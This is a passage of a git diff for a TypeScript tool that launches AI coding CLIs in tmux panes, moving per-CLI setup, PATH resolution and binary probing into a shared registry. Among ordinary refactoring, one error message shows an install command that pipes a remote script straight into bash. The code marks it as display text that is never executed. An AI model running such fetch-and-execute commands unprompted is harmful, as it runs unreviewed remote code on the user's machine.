muxName, varName, jsonContent); } /** @@ -1802,31 +1459,36 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { * command line (visible in `ps`). This also sidesteps shell-metachar injection via keys. */ private buildEnvExports(sessionId: string, muxName: string, mode: SessionMode): string[] { - const exports = [ + const entry = getCli(mode); + + // Per-CLI colour/identity vars, straight from the entry. `unset` before `export` is + // arbitrary: these are independent bash statements joined by ` && `, so nothing here + // depends on another's value and the order carries no semantics. + const cliEnv: string[] = []; + for (const name of entry?.env.unset ?? []) cliEnv.push(`unset ${name}`); + for (const item of entry?.env.exports ?? []) { + // Values are either literals validated against the shell-token pattern at load, or an + // engine value produced here — never free text from config. + const value = + typeof item.value === 'string' + ? item.value + : item.value.engine === 'codemanPrefixedSessionId' + ? `codeman_${sessionId}` + : item.value.engine === 'sessionId' + ? sessionId + : item.value.engine === 'muxName' + ? muxName + : undefined; + // A CLI stamping a per-pane originator (codex) is what lets the response viewer find + // THIS pane's rollout exactly; without it, rollouts are matched by cwd+mtime and two + // panes in the same directory bleed into each other. + if (value !== undefined) cliEnv.push(`export ${item.name}=${value}`); + } + + return [ 'export LANG=en_US.UTF-8', 'export LC_ALL=en_US.UTF-8', - mode === 'codex' || - mode === 'gemini' || - mode === 'antigravity' || - mode === 'pi' || - mode === 'grok' || - mode === 'deepseek' - ? 'export COLORTERM=truecolor' - : 'unset COLORTERM', - ...(mode === 'codex' || - mode === 'gemini' || - mode === 'antigravity' || - mode === 'pi' || - mode === 'grok' || - mode === 'deepseek' - ? ['unset NO_COLOR'] - : []), - // Stamp each Codex pane with a unique originator so the response-viewer - // can locate THIS pane's rollout exactly — codex writes the value into - // session_meta.originator of every rollout it creates. Without it, - // rollouts are matched by cwd+mtime and two panes in the same directory - // bleed into each other. - ...(mode === 'codex' ? [`export CODEX_INTERNAL_ORIGINATOR_OVERRIDE=codeman_${sessionId}`] : []), + ...cliEnv, 'export CODEMAN_MUX=1', `export CODEMAN_SESSION_ID=${sessionId}`, `export CODEMAN_MUX_NAME=${muxName}`, @@ -1839,9 +1501,6 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { // execution time, so the COD-54 hook secret stays off the command line. `export CODEMAN_HOOK_SECRET_FILE="${dataPath('hook-secret')}"`, ]; - // Only unset CLAUDECODE for Claude sessions - if (mode === 'claude') exports.splice(2, 0, 'unset CLAUDECODE'); - return exports; } /** @@ -1891,123 +1550,65 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { * In createSession(), a missing binary dir throws — the caller handles that separately. */ private buildPathExport(mode: SessionMode): { pathExport: string; dir: string | null } { - if (mode === 'claude') { - const dir = findClaudeDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'opencode') { - const dir = resolveOpenCodeDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'codex') { - const dir = resolveCodexDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'gemini') { - const dir = resolveGeminiDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'antigravity') { - const dir = resolveAntigravityDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'pi') { - const dir = resolvePiDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'grok') { - const dir = resolveGrokDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'deepseek') { - const dir = resolveDeepSeekDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - return { pathExport: '', dir: null }; - } - - /** - * Configure OpenCode-specific environment on a tmux session. - * Sets sensitive API keys and config content via tmux setenv - * (not visible in ps output or tmux history, inherited by panes). - */ - private _configureOpenCode(muxName: string, openCodeConfig?: OpenCodeConfig): void { - const tmuxCmd = this.tmux(); - setOpenCodeEnvVars(tmuxCmd, muxName); - setOpenCodeConfigContent(tmuxCmd, muxName, openCodeConfig); + // Prepending the resolved bin dir is what makes a CLI installed somewhere the server's + // own PATH does not cover (nvm, Homebrew, ~/.local/bin under a systemd unit) reachable + // from inside the pane. `shell` and any unregistered mode resolve to null and get + // nothing prepended. + const dir = resolveCliBinDir(mode); + return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; } /** - * Configure Codex-specific environment on a tmux session. - * Sets OPENAI_API_KEY (and related keys) via tmux setenv so secrets don't - * appear in the bash command line. - */ - private _configureCodex(muxName: string): void { - setCodexEnvVars(this.tmux(), muxName); - } - - /** - * Configure Gemini-specific environment on a tmux session. - */ - private _configureGemini(muxName: string): void { - setGeminiEnvVars(this.tmux(), muxName); - } - - /** - * Configure DeepSeek Harness environment on a tmux session. + * Configure this CLI's environment on a tmux session, entirely from registry data. * - * Two independent things, both via `tmux setenv` so they are inherited by the - * pane without appearing in `ps`: + * Four independent pieces, all via `tmux setenv` so they are inherited by the pane without + * ever appearing in `ps`: * - * 1. `DSH_PERMISSION_MODE` — the harness's only permission input. Exported - * ONLY when the caller sent one, so an absent config lands on the harness's - * own `workspace-write` default (which asks) rather than on ours. That - * "only if sent" shape is what the multi-user clamp relies on. - * 2. The `HERDR_*` triple — the supervisor contract the terminal front door - * uses to report idle/working/blocked. Pointing `HERDR_BIN_PATH` at our own - * generated shim is what upgrades this mode from output-stabilization - * guessing to definitive hook events (see deepseek-status-shim.ts). The - * pane id IS the Codeman session id, which is how the shim attributes a - * report without trusting anything the agent could influence. + * 1. `env.tmuxSetenvKeys` — sensitive vars forwarded from the SERVER's own environment + * (API keys, CLI home dirs). Names only ever live in config; values never do. + * 2. `env.configSetenv` — vars whose value comes from the caller's config rather than the + * server env. DeepSeek's `DSH_PERMISSION_MODE` is the case this exists for: its + * permission switch is an env var, not a flag. Routing it through a declared launch + * param is what lets the ordinary multi-user clamp reach it. + * 3. `env.configContentVar` — a JSON config blob (opencode). + * 4. `env.setenvProfile` — genuinely code-shaped setup. DeepSeek's status bridge writes an + * executable shim to disk and exports its path plus this session's pane id, which is + * what upgrades that mode from output-stabilization guessing to definitive hook events. * - * Also forwards DEEPSEEK_API_KEY / DEEPSEEK_BASE_URL from the server env when - * present, matching the codex/gemini precedent for headless auth. + * Called UNCONDITIONALLY for every mode: an entry with no keys, no config var and no + * profile does nothing here, which is a better shape than four `if (mode === ...)` guards + * that each had to be remembered at two separate call sites. */ - private _configureDeepSeek(muxName: string, sessionId: string, config?: DeepSeekConfig): void { + private _configureCliEnv( + muxName: string, + sessionId: string, + mode: SessionMode, + rawConfig?: Record + ): void { + const entry = getCli(mode); + if (!entry) return; const tmuxCmd = this.tmux(); - const setenv = (key: string, value: string): void => { - const escaped = value.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical */ - } - }; - for (const key of ['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL', 'DSH_HOME']) { - const val = process.env[key]; - if (val) setenv(key, val); + setCliSensitiveEnvVars(tmuxCmd, muxName, entry.env.tmuxSetenvKeys); + + for (const [key, value] of Object.entries(configSetenvValues(entry, rawConfig))) { + setTmuxEnvVar(tmuxCmd, muxName, key, value); } - // Enum-validated at the schema boundary; re-checked here because this value - // reaches a shell line, and a builder must never trust its caller. - if ( - config?.permissionMode && - ['read-only', 'workspace-write', 'danger-full-access'].includes(config.permissionMode) - ) { - setenv('DSH_PERMISSION_MODE', config.permissionMode); + if (entry.env.configContentVar) { + setCliConfigContent(tmuxCmd, muxName, entry.env.configContentVar, rawConfig as OpenCodeConfig | undefined); } - if (config?.statusReporting !== false) { - const shim = ensureDeepSeekStatusShim(); - if (shim) { - setenv('HERDR_ENV', '1'); - setenv('HERDR_BIN_PATH', shim); - setenv('HERDR_PANE_ID', sessionId); + const profileName = entry.env.setenvProfile; + if (profileName) { + const profile = SETENV_PROFILES[profileName]; + // A name the schema accepted but this build does not implement: skip rather than + // throw. Losing a status bridge degrades signal quality; failing here would refuse + // the session outright. + if (profile) { + for (const [key, value] of Object.entries(profile(sessionId, entry, rawConfig))) { + setTmuxEnvVar(tmuxCmd, muxName, key, value); + } } } } @@ -2075,29 +1676,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { // looked — server PATH, login shell, checked directories — instead of just // asserting the CLI is missing (the classic systemd/launchd PATH trap). const { pathExport, dir: cliDir } = this.buildPathExport(mode); - if (mode === 'claude' && !cliDir) { - throw new Error(getClaudeNotFoundMessage()); - } - if (mode === 'opencode' && !cliDir) { - throw new Error(getOpenCodeNotFoundMessage()); - } - if (mode === 'codex' && !cliDir) { - throw new Error(getCodexNotFoundMessage()); - } - if (mode === 'gemini' && !cliDir) { - throw new Error(getGeminiNotFoundMessage()); - } - if (mode === 'antigravity' && !cliDir) { - throw new Error(getAntigravityNotFoundMessage()); - } - if (mode === 'pi' && !cliDir) { - throw new Error(getPiNotFoundMessage()); - } - if (mode === 'deepseek' && !cliDir) { - throw new Error(getDeepSeekNotFoundMessage()); - } - if (mode === 'grok' && !cliDir) { - throw new Error(getGrokNotFoundMessage()); + // Refuse the spawn rather than launching a pane that dies on `command not found`. + // `missingCliMessage()` returns null for a mode with no binary to find (`shell`), and + // carries bounded PATH/login-shell/search-dir diagnostics so the error says where we + // actually looked. + if (!cliDir) { + const message = missingCliMessage(mode); + if (message) throw new Error(message); } const envExportsStr = this.buildEnvExports(sessionId, muxName, mode).join(' && '); @@ -2172,21 +1757,14 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { /* Non-critical */ } - // For OpenCode: set sensitive env vars and config via tmux setenv - // (not visible in ps output or tmux history, inherited by panes) - if (mode === 'opencode') { - this._configureOpenCode(muxName, openCodeConfig); - } else if (mode === 'codex') { - this._configureCodex(muxName); - } - // For Gemini: set Gemini/Google auth env vars via tmux setenv - if (mode === 'gemini') { - this._configureGemini(muxName); - } - // For DeepSeek: permission mode + the Herdr-compatible status bridge. - if (mode === 'deepseek') { - this._configureDeepSeek(muxName, sessionId, deepSeekConfig); - } + // Per-CLI env: API keys, config blobs, config-sourced vars, status bridges. All of + // it is registry data, so this is one unconditional call rather than a per-mode ladder. + this._configureCliEnv( + muxName, + sessionId, + mode, + legacyConfigForMode(mode, options as unknown as Record) + ); // Apply user-supplied env overrides (e.g., CLAUDE_CODE_EFFORT_LEVEL) via tmux setenv // so secret values stay off the bash command line. Must run before respawn-pane. @@ -2390,20 +1968,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { : localFullCmd; try { - // For OpenCode: set sensitive env vars via tmux setenv before respawn - if (mode === 'opencode') { - this._configureOpenCode(muxName, openCodeConfig); - } else if (mode === 'codex') { - this._configureCodex(muxName); - } - // For Gemini: set Gemini/Google auth env vars via tmux setenv before respawn - if (mode === 'gemini') { - this._configureGemini(muxName); - } - // For DeepSeek: permission mode + the Herdr-compatible status bridge. - if (mode === 'deepseek') { - this._configureDeepSeek(muxName, sessionId, deepSeekConfig); - } + // Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it. + this._configureCliEnv( + muxName, + sessionId, + mode, + legacyConfigForMode(mode, options as unknown as Record) + ); // Re-apply user env overrides before respawn so the new shell inherits them. this.applyEnvOverrides(muxName, envOverrides); diff --git a/src/utils/antigravity-cli-resolver.ts b/src/utils/antigravity-cli-resolver.ts index 85d25dd6e..79a26953a 100644 --- a/src/utils/antigravity-cli-resolver.ts +++ b/src/utils/antigravity-cli-resolver.ts @@ -7,8 +7,8 @@ * @module utils/antigravity-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -16,20 +16,18 @@ import { } from './cli-executable-resolver.js'; /** Common directories where the Antigravity CLI binary may be installed */ -const ANTIGRAVITY_SEARCH_DIRS = [ - join(homedir(), '.local', 'bin'), - join(homedir(), '.antigravity', 'bin'), - '/usr/local/bin', - join(homedir(), '.bun', 'bin'), - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const ANTIGRAVITY_SEARCH_DIRS = (): string[] => (getCli('antigravity')?.discovery.searchDirs ?? []).map(expandHome); const ANTIGRAVITY_NOT_FOUND = 'Antigravity CLI not found. Install with: curl -fsSL https://antigravity.google/cli/install.sh | bash'; function createAntigravityResolver(host?: CliResolverHost, now?: () => number) { - return createCliExecutableResolver({ binary: 'agy', searchDirs: ANTIGRAVITY_SEARCH_DIRS, now }, host); + return createCliExecutableResolver({ binary: 'agy', searchDirs: ANTIGRAVITY_SEARCH_DIRS(), now }, host); } /** Creates an isolated Antigravity wrapper around an injected resolver host and clock. */ diff --git a/src/utils/cli-launcher.ts b/src/utils/cli-launcher.ts new file mode 100644 index 000000000..2e483c3a7 --- /dev/null +++ b/src/utils/cli-launcher.ts @@ -0,0 +1,113 @@ +/** + * @fileoverview Implementations of the LAUNCHER profiles named by `discovery.launcherProfile`. + * + * A launcher CLI's binary is not the agent — it boots some further target — so two questions + * the registry normally answers from the binary alone have to be asked of that target: + * + * - `isCliRunnable(id)` — stricter than "is the binary on disk?" + * - `launcherDefaultTarget(entry)` — what to launch when the caller names no target + * + * The profile NAMES and their validation live in `config/cli-registry/profiles.ts`, which is + * kept free of imports so `schema.ts` can validate a name at load time. The implementations + * live here because they reach into resolvers that reach back into the registry, and holding + * them next to the names would close an import cycle. + * + * ⚠️ Everything in this file is keyed by PROFILE NAME, never by CLI id. A new launcher CLI + * adds a profile here and names it from its entry; it does not add a branch anywhere else. + * + * @module utils/cli-launcher + */ + +import { isDeepSeekRunnable, resolveDefaultDeepSeekProfile } from './deepseek-cli-resolver.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import type { CliEntry } from '../config/cli-registry/types.js'; +import { missingCliMessage, resolveCliBinDir } from './cli-resolver.js'; + +interface LauncherProfile { + /** Is the launcher usable, given that its binary resolved? */ + isRunnable(): boolean; + /** The target to launch when the caller named none, or null when there is none. */ + defaultTarget(): string | null; + /** + * Why a session cannot start, or null when it can — including why a SPECIFICALLY + * requested target will not work, which "is it runnable" alone cannot say. + */ + launchError(requestedTarget?: string): Promise; +} + +const LAUNCHER_PROFILES: Record = { + // `dsh` launches a profile from $DSH_HOME/profiles/. DeepSeek ships only + // `web`/`headless`/`base`, none of which can drive a terminal pane, so the terminal front + // door is always third-party: a perfectly-installed dsh with no TUI profile is installed + // but NOT runnable, and the two questions have genuinely different answers. + 'deepseek-profile': { + isRunnable: isDeepSeekRunnable, + defaultTarget: resolveDefaultDeepSeekProfile, + // Three distinct, actionable messages (binary missing / no pane-capable profile / + // the named profile is not pane-capable). Worth keeping distinct: a pane that dies + // instantly is the most confusing failure this mode can produce, and "not installed" + // would send the user to fix the wrong thing. + launchError: async (requestedTarget) => { + const { resolveDeepSeekLaunchError } = await import('./deepseek-cli-resolver.js'); + return resolveDeepSeekLaunchError(requestedTarget); + }, + }, +}; + +/** + * Why a session in this mode cannot start, or null when it can. + * + * For an ordinary CLI this is just "is the binary there?", answered with the not-found + * message that names where resolution looked. For a launcher CLI it defers to that CLI's own + * profile, which can be far more specific. + * + * `rawConfig` is the caller's per-CLI config object, read for the target the caller named + * (declared as `discovery.launcherTargetParam`) so the error can be about THAT target. + */ +export async function resolveCliLaunchError(mode: string, rawConfig?: Record): Promise { + const entry = getCli(mode); + if (!entry) return null; + + const profileName = entry.discovery.launcherProfile; + if (profileName !== undefined) { + const profile = LAUNCHER_PROFILES[profileName]; + if (!profile) return `${entry.label} is not runnable: its launcher profile is unavailable in this build.`; + const targetParam = entry.discovery.launcherTargetParam; + const requested = targetParam ? rawConfig?.[targetParam] : undefined; + return profile.launchError(typeof requested === 'string' ? requested : undefined); + } + + // No binary to find (`shell`) is never an error. + if (entry.discovery.binaries.length === 0) return null; + return resolveCliBinDir(mode) === null ? missingCliMessage(mode) : null; +} + +/** + * Is this CLI actually usable? For an ordinary CLI that is exactly "its binary resolved". + * For a launcher it is that AND whatever its profile demands. + * + * ⚠️ A named-but-unimplemented profile fails CLOSED. In practice `schema.ts` rejects such an + * entry at load time, so this is the second line of defence rather than the first — but the + * direction matters: offering a Run that always fails is worse than reporting unavailable. + */ +export function isCliRunnable(id: string): boolean { + const entry = getCli(id); + if (!entry) return false; + // No binary to find (`shell`): tmux-manager resolves the login shell in code. + const resolved = entry.discovery.binaries.length === 0 ? true : resolveCliBinDir(id) !== null; + const profileName = entry.discovery.launcherProfile; + if (profileName === undefined) return resolved; + const profile = LAUNCHER_PROFILES[profileName]; + if (!profile) return false; + return resolved && profile.isRunnable(); +} + +/** + * The launcher's default target, for the `launcherDefaultTarget` engine value. Null for + * every non-launcher CLI, which is what makes the corresponding launch arg drop out. + */ +export function launcherDefaultTarget(entry: CliEntry): string | null { + const profileName = entry.discovery.launcherProfile; + if (profileName === undefined) return null; + return LAUNCHER_PROFILES[profileName]?.defaultTarget() ?? null; +} diff --git a/src/utils/cli-resolver.ts b/src/utils/cli-resolver.ts new file mode 100644 index 000000000..ec390e549 --- /dev/null +++ b/src/utils/cli-resolver.ts @@ -0,0 +1,253 @@ +/** + * @fileoverview Registry-driven CLI binary resolution: look up ANY registered CLI's binary + * directory, version and not-found message from its `CliEntry`, with no per-CLI branch. + * + * This is a LAYER over `cli-executable-resolver.ts`, not a replacement for it. That module + * still owns the lookup chain (process PATH → the entry's search dirs → an interactive + * login shell), the negative cache and its doubling backoff, the marker-fenced login-shell + * parse, the `SIGKILL` timeouts and the vitest hermeticity gate — all of it deliberately + * untouched here, because those guards are load-bearing and separately tested. What this + * module adds is: where the parameters come from (the registry, rather than seven + * hand-written constant blocks) and what makes a candidate acceptable. + * + * CANDIDATE VALIDATION runs in a fixed order, and the order is the point: + * + * 1. IDENTITY (`discovery.identity`) — does the binary say it is the program we meant? + * Checked FIRST, because a version probe cannot tell an impostor from the real thing: + * Debian's `dsh` (dancer's shell) answers `--version` perfectly happily, and npm + * carries squatters for both `pi` and `grok`. + * 2. VERSION (`discovery.version`) — does its version output have the right shape? With + * `requireVersionMatch`, a mismatch means ABSENT rather than present-with-unknown- + * version, which is what a short, generic binary name needs. + * + * Both probes EXECUTE the candidate, which is exactly why both are gated off under vitest: + * a suite must never depend on — let alone run — whatever binary of that name the machine + * running it happens to carry. Tests inject probes instead. + * + * @module utils/cli-resolver + */ + +import { execFileSync } from 'node:child_process'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; +import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { compileVersionRegex, MAX_VERSION_OUTPUT } from '../config/cli-registry/patterns.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import type { CliEntry } from '../config/cli-registry/types.js'; +import { + createCliExecutableResolver, + formatCliNotFoundMessage, + type CliExecutableResolver, + type CliResolverHost, +} from './cli-executable-resolver.js'; + +/** Expand a leading `~` to the home directory. Nothing else is interpreted. */ +export function expandHome(dir: string): string { + if (dir === '~') return homedir(); + if (dir.startsWith('~/')) return join(homedir(), dir.slice(2)); + return dir; +} + +/** + * Run ` ` and return its trimmed output, truncated to the cap a + * config-supplied regex is allowed to see. + * + * Returns null under vitest — see this file's header. This is defense in depth rather than + * the only gate (the shared resolver host is already inert under vitest), and it is what + * makes the "resolve nothing even against a real on-disk fixture" behaviour hold for a + * test that opts back into real filesystem IO. + */ +function probeCommandOutput(binPath: string, arg: string, logPrefix: string): string | null { + if (process.env.VITEST) return null; + try { + return execFileSync(binPath, [arg], { + encoding: 'utf-8', + timeout: EXEC_TIMEOUT_MS, + stdio: ['ignore', 'pipe', 'ignore'], + // execFileSync's `timeout` only SENDS the signal and then keeps waiting. A stuck or + // hostile binary that ignores SIGTERM would survive it and block the server. + killSignal: 'SIGKILL', + }) + .trim() + .slice(0, MAX_VERSION_OUTPUT); + } catch (err) { + console.warn(`[${logPrefix}] Ignoring ${binPath}: "${arg}" failed (${(err as Error).message})`); + return null; + } +} + +/** What a candidate probe reports back. `version` is undefined when none was declared. */ +export interface CliCandidateProbeResult { + accepted: boolean; + version?: string; +} + +/** A probe hook, so tests can drive resolution without executing anything. */ +export type CliCandidateProbe = (binPath: string, entry: CliEntry) => CliCandidateProbeResult; + +/** + * The production probe: identity first, then version. A CLI declaring neither is accepted + * on existence alone, which is the common case (opencode, codex, gemini, antigravity). + */ +export function probeCliCandidate(binPath: string, entry: CliEntry): CliCandidateProbeResult { + const logPrefix = `CliResolver:${entry.id as string}`; + const { identity, version } = entry.discovery; + + if (identity) { + const pattern = compileVersionRegex(identity.regex); + if (!pattern) { + console.warn(`[${logPrefix}] identity.regex was rejected as unsafe; refusing every candidate.`); + return { accepted: false }; + } + const out = probeCommandOutput(binPath, identity.arg, logPrefix); + if (out === null || !pattern.test(out)) { + console.warn(`[${logPrefix}] Ignoring ${binPath}: "${identity.arg}" did not identify it as ${entry.label}.`); + return { accepted: false }; + } + } + + if (!version) return { accepted: true }; + + const out = probeCommandOutput(binPath, version.arg, logPrefix); + const pattern = version.regex ? compileVersionRegex(version.regex) : null; + const found = out !== null && pattern ? (pattern.exec(out)?.[1] ?? undefined) : undefined; + + if (found === undefined && version.requireVersionMatch) { + // A `which` hit is not evidence for a short, generic or squatted binary name. + console.warn(`[${logPrefix}] Ignoring ${binPath}: "${version.arg}" printed ${JSON.stringify(out?.slice(0, 80))}`); + return { accepted: false }; + } + return { accepted: true, version: found }; +} + +/** + * A resolver for one registry entry. An entry may declare several binary names (first hit + * wins), so this holds one underlying resolver per name and returns the first that + * resolves — which is also what keeps each name's own negative cache and backoff intact. + */ +interface RegistryResolver { + resolveDir(): string | null; + getVersion(): string | null; + notFoundMessage(base: string): string; +} + +function createRegistryResolver( + entry: CliEntry, + probe: CliCandidateProbe = probeCliCandidate, + host?: CliResolverHost, + now?: () => number +): RegistryResolver { + const searchDirs = entry.discovery.searchDirs.map(expandHome); + const perBinary: CliExecutableResolver[] = entry.discovery.binaries.map((binary) => + createCliExecutableResolver( + { + binary, + searchDirs, + validateCandidate: (binPath) => { + const result = probe(binPath, entry); + return result.accepted ? { accepted: true, metadata: result.version } : { accepted: false }; + }, + now, + }, + host + ) + ); + + const first = () => { + for (const resolver of perBinary) { + const resolution = resolver.resolve(); + if (resolution) return resolution; + } + return null; + }; + + return { + resolveDir: () => first()?.directory ?? null, + getVersion: () => first()?.metadata ?? null, + notFoundMessage: (base) => + // Diagnostics come from the FIRST declared binary: every name shares the same search + // dirs, PATH and login shell, so the extra copies would say the same thing twice. + perBinary.length > 0 ? formatCliNotFoundMessage(base, perBinary[0].diagnostics()) : base, + }; +} + +/** + * Build an isolated resolver for `entry` around an injected probe, host and clock — the + * test seam. Omitting `probe` keeps the ambient, VITEST-gated one, which is exactly what + * the hermeticity tests exercise. + */ +export function createCliResolverForTest( + entry: CliEntry, + probe?: CliCandidateProbe, + host?: CliResolverHost, + now?: () => number +): RegistryResolver { + return createRegistryResolver(entry, probe ?? probeCliCandidate, host, now); +} + +/** + * One memoized resolver per id, for the process lifetime — the same caching the per-CLI + * modules already do for themselves, just keyed by id so generic code holding only a + * `CliId` string can resolve a CLI it knows nothing else about, custom entries included. + */ +const resolvers = new Map(); + +function resolverFor(id: string): RegistryResolver | null { + const cached = resolvers.get(id); + if (cached) return cached; + const entry = getCli(id); + // `shell` declares no binary: tmux-manager resolves the real login shell in code. + if (!entry || entry.discovery.binaries.length === 0) return null; + const resolver = createRegistryResolver(entry); + resolvers.set(id, resolver); + return resolver; +} + +/** + * Drop the memoized resolver for `id` so the next lookup re-probes from scratch instead of + * replaying a cached negative result and waiting out a backoff window already in progress. + */ +export function invalidateCliResolverCache(id?: string): void { + if (id === undefined) resolvers.clear(); + else resolvers.delete(id); +} + +/** The directory containing this CLI's binary, or null when it cannot be found. */ +export function resolveCliBinDir(id: string): string | null { + return resolverFor(id)?.resolveDir() ?? null; +} + +/** Is this CLI's binary present? Note: for a launcher CLI this is NOT the same as runnable. */ +export function isCliAvailable(id: string): boolean { + return resolveCliBinDir(id) !== null; +} + +/** The version the resolved binary reported, or null when unresolved or none was declared. */ +export function resolveCliVersion(id: string): string | null { + return resolverFor(id)?.getVersion() ?? null; +} + +/** + * "CLI not found" message for `id`, with bounded PATH/login-shell/search-dir diagnostics + * appended so the error names where resolution actually looked. Returns null for an id with + * no binary to find (`shell`) or one that is not registered at all. + */ +export function missingCliMessage(id: string): string | null { + const entry = getCli(id); + if (!entry || entry.discovery.binaries.length === 0) return null; + const install = installHintFor(entry); + const base = install + ? `${entry.label} CLI not found. Install with: ${install}` + : `${entry.label} CLI not found (looked for ${entry.discovery.binaries.join(', ')}).`; + return resolverFor(id)?.notFoundMessage(base) ?? base; +} + +/** + * The install command to SHOW for this platform. Display text only — never executed. See + * `CliDiscovery.install.command`. + */ +export function installHintFor(entry: CliEntry): string | undefined { + const { command } = entry.discovery.install; + const platform = process.platform as 'linux' | 'darwin' | 'win32'; + return command[platform] ?? command.linux ?? Object.values(command)[0]; +} diff --git a/src/utils/codex-cli-resolver.ts b/src/utils/codex-cli-resolver.ts index 5cb7221a2..9ba1cd50c 100644 --- a/src/utils/codex-cli-resolver.ts +++ b/src/utils/codex-cli-resolver.ts @@ -7,21 +7,19 @@ * @module utils/codex-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage } from './cli-executable-resolver.js'; /** Common directories where the Codex CLI binary may be installed */ -const CODEX_SEARCH_DIRS = [ - join(homedir(), '.codex', 'bin'), // Default install location - join(homedir(), '.local', 'bin'), // Alternative install location - '/usr/local/bin', // Homebrew / system - join(homedir(), '.bun', 'bin'), // Bun global - join(homedir(), '.npm-global', 'bin'), // npm global - join(homedir(), 'bin'), // User bin -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const CODEX_SEARCH_DIRS = (): string[] => (getCli('codex')?.discovery.searchDirs ?? []).map(expandHome); -const codexResolver = createCliExecutableResolver({ binary: 'codex', searchDirs: CODEX_SEARCH_DIRS }); +const codexResolver = createCliExecutableResolver({ binary: 'codex', searchDirs: CODEX_SEARCH_DIRS() }); const CODEX_NOT_FOUND = 'Codex CLI not found. Install with: npm install -g @openai/codex'; /** diff --git a/src/utils/deepseek-cli-resolver.ts b/src/utils/deepseek-cli-resolver.ts index c6e189502..b25799577 100644 --- a/src/utils/deepseek-cli-resolver.ts +++ b/src/utils/deepseek-cli-resolver.ts @@ -35,6 +35,8 @@ import { existsSync, readdirSync, readFileSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -49,12 +51,12 @@ import { * user's prefix points. `~/.local/bin` heads the list because it is the default * for a prefix-relocated npm (and is where this box's install landed). */ -const DEEPSEEK_SEARCH_DIRS = [ - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const DEEPSEEK_SEARCH_DIRS = (): string[] => (getCli('deepseek')?.discovery.searchDirs ?? []).map(expandHome); /** * A real `dsh --version` prints a bare `0.1.1-rc.2` (measured, 0.1.1-rc.2), so @@ -295,7 +297,7 @@ function createDeepSeekResolver( return createCliExecutableResolver( { binary: 'dsh', - searchDirs: DEEPSEEK_SEARCH_DIRS, + searchDirs: DEEPSEEK_SEARCH_DIRS(), validateCandidate: (binPath) => { const version = versionProbe(binPath); return version ? { accepted: true, metadata: version } : { accepted: false }; diff --git a/src/utils/gemini-cli-resolver.ts b/src/utils/gemini-cli-resolver.ts index 45936d605..8ea2dd311 100644 --- a/src/utils/gemini-cli-resolver.ts +++ b/src/utils/gemini-cli-resolver.ts @@ -7,21 +7,19 @@ * @module utils/gemini-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage } from './cli-executable-resolver.js'; /** Common directories where the Gemini CLI binary may be installed */ -const GEMINI_SEARCH_DIRS = [ - join(homedir(), '.gemini', 'bin'), - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), '.bun', 'bin'), - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const GEMINI_SEARCH_DIRS = (): string[] => (getCli('gemini')?.discovery.searchDirs ?? []).map(expandHome); -const geminiResolver = createCliExecutableResolver({ binary: 'gemini', searchDirs: GEMINI_SEARCH_DIRS }); +const geminiResolver = createCliExecutableResolver({ binary: 'gemini', searchDirs: GEMINI_SEARCH_DIRS() }); const 